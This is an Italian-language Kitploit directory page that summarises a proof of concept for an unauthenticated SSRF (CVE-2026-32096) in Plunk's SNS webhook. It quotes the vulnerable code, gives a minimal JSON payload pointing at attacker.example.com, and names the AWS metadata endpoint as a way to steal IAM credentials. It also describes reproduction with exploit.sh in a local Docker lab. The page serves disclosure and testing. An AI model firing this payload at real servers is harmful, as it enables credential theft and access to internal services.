Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-32096 — Proof-of-concept exploit per una vulnerabilità SSRF nel webhook SNS di Plunk, che dimostra una server-side request forgery non autenticata tramite SubscribeURL non validato. | Kitploit
Strumenti/GitHubGitHub/andrebhu/cve-2026-32096
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubandrebhu/cve-2026-32096

CVE-2026-32096

Proof-of-concept exploit per una vulnerabilità SSRF nel webhook SNS di Plunk, che dimostra una server-side request forgery non autenticata tramite SubscribeURL non validato.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-32096

SSRF tramite SubscriptionConfirmation SNS AWS non validata in useplunk/plunk

Riepilogo

L'endpoint API di Plunk POST /webhooks/sns recupera un SubscribeURL fornito dall'attaccante senza verificare la firma crittografica AWS SNS. Un attaccante non autenticato può forzare il server a effettuare richieste HTTP arbitrarie in uscita (SSRF).

GravitàCritica — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N)
CWECWE-918: Server-Side Request Forgery
File interessatoapps/api/src/controllers/Webhooks.ts
Autenticazione richiestaNessuna

Codice Vulnerabile

root@kitploit:~
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
  const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — nessuna validazione della firma
  if (confirmResponse.ok) {
    return res.status(200).json({ success: true, message: 'Subscription confirmed' });
  }
}

Il payload minimo è composto da soli due campi:

root@kitploit:~
{
  "Type": "SubscriptionConfirmation",
  "SubscribeURL": "http://attacker.example.com/callback"
}

Impatto

  • AWS EC2/ECS: Furto di credenziali IAM tramite http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Servizi interni: Accesso a database, Redis, API Kubernetes o altri servizi non esposti a internet
  • Scansione delle porte: Enumerazione delle porte interne tramite risposte basate su tempi ed errori

Riproduzione

Prerequisiti

  • Docker e Docker Compose
  • Python 3

Passaggi

  1. Avvia l'ambiente di test di Plunk:

    root@kitploit:~
    docker compose up -d
    
  2. Avvia il listener di callback SSRF:

    root@kitploit:~
    python3 listener.py
    
  3. Esegui l'exploit:

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh
    
  4. Osserva il callback nell'output di listener.py, confermando che il server ha recuperato l'URL controllato dall'attaccante.

File

FileDescrizione
exploit.shScript di exploit end-to-end — invia un payload SNS contraffatto all'endpoint vulnerabile
listener.pyListener di callback SSRF — cattura e registra le richieste in arrivo dal server Plunk
docker-compose.ymlAmbiente Docker Compose minimale (Postgres, Redis, Plunk) per la riproduzione locale

Riferimenti

  • AWS SNS: Verifica delle firme dei messaggi Amazon SNS
  • OWASP SSRF Prevention Cheat Sheet
Scarica lo strumento